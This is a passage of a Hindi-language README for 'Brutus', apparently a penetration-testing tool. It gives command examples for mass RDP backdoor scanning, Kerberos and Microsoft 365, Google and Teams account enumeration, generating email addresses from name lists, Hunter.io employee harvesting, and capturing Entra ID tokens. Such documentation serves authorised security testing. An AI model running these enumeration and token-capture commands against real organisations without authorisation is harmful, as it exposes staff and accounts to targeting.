कनेक्शन स्थिति डिस्कनेक्ट ओवरले और रीकनेक्ट बटन के साथ

दिखाए गए URL (जैसे, http://127.0.0.1:<port>) को किसी भी ब्राउज़र में खोलें, रिमोट RDP सत्र के साथ इंटरैक्ट करने के लिए। यदि सर्वर-साइड आइडल टाइमआउट के कारण सत्र डिस्कनेक्ट हो जाता है, तो नया सत्र स्थापित करने के लिए रीकनेक्ट पर क्लिक करें।

नोट: गैर-NLA RDP सत्रों में सर्वर-साइड आइडल टाइमआउट होता है (विंडोज डिफ़ॉल्ट कॉन्फ़िगरेशन के अनुसार भिन्न होता है, आमतौर पर ग्रुप पॉलिसी द्वारा नियंत्रित Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits पर)। किसी परीक्षण लक्ष्य पर टाइमआउट बढ़ाने के लिए, रजिस्ट्री में MaxIdleTime को 0 पर सेट करें:
HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)

B-TP (सौम्य सत्य सकारात्मक) विचार: बैकडोर प्रतिस्थापन भूल गए पासवर्ड पुनर्प्राप्ति प्रक्रियाओं या अधिकृत पैठ परीक्षणों से कलाकृतियों को भी इंगित कर सकता है।

सामूहिक RDP स्कैनिंग पाइपलाइन

बड़े पैमाने पर मूल्यांकन के लिए, logon उपकमांड कई लक्ष्यों पर बैकडोर डिटेक्शन चलाता है। यह पाइपलाइन इनपुट, लक्ष्य फ़ाइलें, या nmap/masscan आयात स्वीकार करता है — केवल RDP सेवाओं का परीक्षण किया जाता है:```bash

Scan a /24 for sticky keys and utilman backdoors

naabu -host 10.0.0.0/24 -p 3389 -silent |
nerva --json |
brutus logon --json -o rdp-findings.json

Scan from nmap results

brutus logon --nmap-file scan.xml --json -o rdp-findings.json

Scan from targets file

brutus logon --targets-file rdp-targets.txt --json

Extract critical findings

jq 'select(.finding == "[CRITICAL]")' rdp-findings.json

**तकनीकी कार्यान्वयन:** RDP प्रोटोकॉल समर्थन [IronRDP](https://github.com/Devolutions/IronRDP) (Rust) का उपयोग करता है जो WebAssembly में संकलित होता है और [wazero](https://github.com/tetratelabs/wazero) के माध्यम से निष्पादित होता है, जो Brutus के शून्य-CGO, एकल-बाइनरी डिज़ाइन को बनाए रखता है।

---

## खाता एनुमरेशन

`enum` उपकमांड यह गणना करता है कि कौन से खाता-अस्तित्व ओरेकल (oracles) किसी संगठन के लिए काम करते हैं (और उनके विरुद्ध ईमेल गणना करता है) या Active Directory उपयोगकर्ताओं की गणना करता है, सभी पासवर्ड भेजे बिना।

### खाता-अस्तित्व ओरेकल एनुमरेशन

पहचानें कि कौन से अप्रमाणित खाता-अस्तित्व ओरेकल (microsoft365, google, github, और Microsoft Teams ओरेकल) किसी संगठन के लिए काम करते हैं, उन्हें एक ज्ञात-मान्य उपयोगकर्ता के विरुद्ध मान्य करें, फिर कार्यशील ओरेकल के विरुद्ध उम्मीदवार ईमेल की गणना करें। DNS TXT टोही उम्मीदवार ओरेकल को सामने लाती है; `--known-valid` के विरुद्ध सत्यापन मुख्य बिंदु है। `--known-valid` आवश्यक है, और गणना केवल उन्हीं ओरेकल के विरुद्ध चलती है जो इसकी पुष्टि करते हैं:```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]

# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]

# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]

# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]

# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]

केरबेरोस उपयोगकर्ता गणना

Active Directory उपयोगकर्ता नामों की केरबेरोस AS-REQ के माध्यम से गणना करें (कोई पासवर्ड नहीं भेजा गया, कोई लॉकआउट जोखिम नहीं):```bash

Enumerate specific users

brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt

Enumerate from file

brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt

Generate usernames and pipe to Kerberos enum

brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -

### ईमेल/उपयोगकर्ता नाम सृजन

अंतर्निहित प्रथम/अंतिम नाम शब्दसूचियों से ईमेल पते या उपयोगकर्ता नाम उत्पन्न करें:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast

# Generate usernames only (no domain): jsmith
brutus enum generate --format flast

# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last

Hunter.io Domain Search

Hunter.io Domain Search API के माध्यम से किसी डोमेन से जुड़े लोगों (ईमेल, नाम, नौकरी का शीर्षक, फोन, विभाग, वरिष्ठता, विश्वास) की खोज करें। सभी परिणाम प्राप्त होने तक स्वचालित रूप से पृष्ठांकित करता है।```bash

Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)

export HUNTER_API_KEY=your_key_here

Discover people for a domain

brutus enum hunter --domain example.com

Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)

brutus enum hunter --domain example.com --api-key your_key_here

JSONL output to file (one record per person, with type:"hunter" discriminator)

brutus enum hunter --domain example.com --output people.jsonl

Adjust pagination page size (default: 100)

brutus enum hunter --domain example.com --limit 50

---

### Microsoft Teams / Entra ID प्रमाणीकरण

Microsoft Entra ID (Azure AD) से डिवाइस कोड फ़्लो (RFC 8628) का उपयोग करके OAuth2 एक्सेस टोकन, रिफ़्रेश टोकन और ID टोकन प्राप्त करें। परिणामी टोकन का उपयोग Microsoft Graph API कॉल, Teams गणना, और [ROADtools](https://github.com/dirkjanm/ROADtools) जैसे टूल या कस्टम Graph क्वेरी के माध्यम से ऑडिटिंग के लिए किया जा सकता है।```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth

# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000

# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"

# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000

# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json

यह कैसे काम करता है:

Brutus login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode से एक डिवाइस कोड का अनुरोध करता है
एक छोटा कोड और URL प्रदर्शित होते हैं — किसी भी ब्राउज़र में URL खोलें और कोड दर्ज करें
Brutus तब तक पोल करता है जब तक आप साइन-इन पूरा नहीं करते, कोड समाप्त नहीं हो जाता, या आप Ctrl+C दबाते हैं
सफलता पर, एक्सेस टोकन, रिफ्रेश टोकन और आईडी टोकन प्रिंट होते हैं

मानव आउटपुट एक्सेस टोकन के केवल पहले 20 अक्षर दिखाता है (सत्यापन के लिए पर्याप्त)। पूर्ण टोकन मानों को कैप्चर करने के लिए --json या -o का उपयोग करें।

डिफ़ॉल्ट क्लाइंट आईडी: Microsoft Teams डेस्कटॉप एप्लिकेशन (1fec8e78-bce4-4aaf-ab1b-5451cc387264), एक प्रथम-पक्ष सार्वजनिक क्लाइंट जो डिवाइस कोड फ्लो का समर्थन करता है। अपनी स्वयं की ऐप रजिस्ट्रेशन का उपयोग करने के लिए --client-id के साथ ओवरराइड करें।``` $ brutus enum active teams auth --tenant contoso.com [*] Starting Microsoft device code authentication...

[*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m

[*] Waiting for you to complete sign-in...

[+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:

#### Teams उपयोगकर्ता गणना

प्रमाणित होने के बाद, ईमेल पते द्वारा कॉर्पोरेट Teams उपयोगकर्ताओं की गणना करें। प्रत्येक
परिणाम `exists`, `blocked` (टेनेंट बाहरी खोज को प्रतिबंधित करता है लेकिन उपयोगकर्ता
मौजूद हो सकता है), `not found`, या `unknown` (प्रमाणीकरण/परिवहन विफलता) है। व्यक्तिगत/Live
खाते समर्थित नहीं हैं — केवल कॉर्पोरेट टेनेंट।```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]

# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000

# Enumerate emails from a file
brutus enum active teams users -E emails.txt

# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080

# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"

जब रीफ़्रेश टोकन उपलब्ध होता है (--token-file या --refresh-token के माध्यम से), तो समाप्त हुए एक्सेस टोकन को एक बार स्वचालित रूप से नवीनीकृत किया जाता है; अन्यथा 401 सुरुचिपूर्ण ढंग से unknown परिणाम में बदल जाता है।

Google Workspace खाता गणना

जांचें कि क्या ईमेल पते दो अप्रमाणित ओरेकल का उपयोग करके Google खातों से मेल खाते हैं — कोई टोकन या साइन-इन आवश्यक नहीं:

AccountChooser SSO रीडायरेक्ट — सिंगल साइन-ऑन के साथ कॉन्फ़िगर किए गए डोमेन पर Workspace खातों को प्रकट करता है, साथ ही पहचान प्रदाता (IdP) होस्ट जिस पर वे रीडायरेक्ट करते हैं (workspace-sso)।
GXLU Gmail प्रोब — Gmail-सक्षम खातों (gmail) को प्रकट करता है।

प्रत्येक परिणाम exists (पुष्टि करने की विधि और, SSO के लिए, IdP होस्ट के साथ) या not found होता है।```bash

Enumerate a couple of emails

brutus enum active google -e [email protected],[email protected]

Generate candidate emails for a domain and enumerate the most-likely 5000

brutus enum active google --domain target.com --format first.last --limit 5000

Enumerate emails from a file

brutus enum active google -E emails.txt

Route through a SOCKS5 proxy and raise concurrency

brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20

`--domain` उसी आवृत्ति-आधारित प्रथम/अंतिम नाम जनरेटर का पुन: उपयोग करता है जो `enum generate` करता है; `--format` उपयोगकर्ता नाम लेआउट का चयन करता है और `--limit` जनरेशन को पहले N (सबसे अधिक संभावित) उम्मीदवारों तक सीमित करता है। `--domain` को `-e`/`-E` के साथ जोड़ा जा सकता है।

---

## ज्ञात सीमाएँ

### स्टिकी कीज ह्युरिस्टिक डिटेक्शन

- **वैकल्पिक गलत नकारात्मक:** ह्युरिस्टिक-केवल डिटेक्शन (`brutus logon` बिना `--experimental-ai`) एक ही लक्ष्य पर बार-बार स्कैन करने पर गलत नकारात्मक परिणाम उत्पन्न कर सकता है। एक सफल डिटेक्शन के बाद, cmd.exe विंडो सर्वर पर खुली रहती है। बाद के कनेक्शनों में बेसलाइन फ्रेम में cmd.exe दिखाई देती है, और चूँकि 5x Shift भेजने से कोई नई विंडो नहीं बनती, पिक्सेल अंतर न्यूनतम होता है — जिसके परिणामस्वरूप "साफ" निर्णय होता है। यह `--experimental-ai` मोड को प्रभावित नहीं करता, जो प्रतिक्रिया फ्रेम का सीधे विश्लेषण करने के लिए विज़न एपीआई का उपयोग करता है (बेसलाइन-बनाम-प्रतिक्रिया अंतर नहीं) और पिछली स्थिति की परवाह किए बिना टर्मिनल विंडो की विश्वसनीय पहचान करता है।
- **कार्यसमाधान:** बार-बार स्कैन पर सुसंगत डिटेक्शन के लिए `ANTHROPIC_API_KEY` सेट करके `--experimental-ai` का उपयोग करें, या आरडीपी सत्र को रीसेट करने के लिए स्कैन के बीच कोल्डाउन की अनुमति दें।

### ब्राउज़र प्लगइन

- स्थानीय रूप से Chrome/Chromium स्थापित होना आवश्यक है
- हेडलेस मोड सभी सिस्टम पर काम नहीं कर सकता है
- कुछ JavaScript-भारी लॉगिन पृष्ठों को अतिरिक्त प्रतीक्षा समय की आवश्यकता हो सकती है

एकल बाइनरी	❌	❌	❌	✅
शून्य निर्भरताएँ	❌	❌	❌	✅
SOCKS5 प्रॉक्सी	✅	❌	❌	✅
Nerva पाइपलाइन	❌	❌	❌	✅
Nmap/Masscan आयात	❌	❌	❌	✅
JSON स्ट्रीमिंग	⚠️	❌	❌	✅
क्रॉस-प्लेटफ़ॉर्म	⚠️	⚠️	⚠️	✅
सुसंगत त्रुटियाँ	⚠️	⚠️	⚠️	✅
सक्रिय विकास	✅	⚠️	❌	✅
एम्बेडेड बैड कुंजियाँ	❌	❌	❌	✅
Go लाइब्रेरी आयात	❌	❌	❌	✅

SMB	445	पासवर्ड, NTLM	विंडोज नेटवर्क, फ़ाइल शेयर
LDAP	389/636	बाइंड DN	सक्रिय निर्देशिका, पहचान
WinRM	5985/5986	NTLM	विंडोज दूरस्थ प्रबंधन

SMTP	25/587	पासवर्ड	मेल रिले
IMAP	143/993	पासवर्ड	मेलबॉक्स एक्सेस
POP3	110/995	पासवर्ड	मेलबॉक्स एक्सेस

SSH	22	पासवर्ड, निजी कुंजियाँ	सर्वर, नेटवर्क उपकरण
FTP	21	पासवर्ड	फ़ाइल सर्वर, NAS डिवाइस
Telnet	23	पासवर्ड	लीगेसी सिस्टम, IoT डिवाइस
VNC	5900	पासवर्ड	दूरस्थ डेस्कटॉप
RDP	3389	NLA/CredSSP, पासवर्ड	विंडोज सर्वर, वर्कस्टेशन
SNMP	161	कम्युनिटी स्ट्रिंग	नेटवर्क डिवाइस, प्रिंटर

MySQL	3306	पासवर्ड	वेब एप्लिकेशन
PostgreSQL	5432	पासवर्ड	आधुनिक एप्लिकेशन
MSSQL	1433	पासवर्ड	एंटरप्राइज़ एप्लिकेशन
MongoDB	27017	पासवर्ड	NoSQL बैकएंड
Redis	6379	पासवर्ड	कैशिंग, सत्र
Neo4j	7687	पासवर्ड	ग्राफ़ डेटाबेस
Cassandra	9042	पासवर्ड	वितरित डेटाबेस
CouchDB	5984	HTTP बेसिक	डॉक्यूमेंट स्टोर
Elasticsearch	9200	HTTP बेसिक	सर्च इंजन
InfluxDB	8086	HTTP बेसिक	टाइम-सीरीज़ डेटा
Oracle	1521	पासवर्ड	एंटरप्राइज़ डेटाबेस

brutus

सबसे लोकप्रिय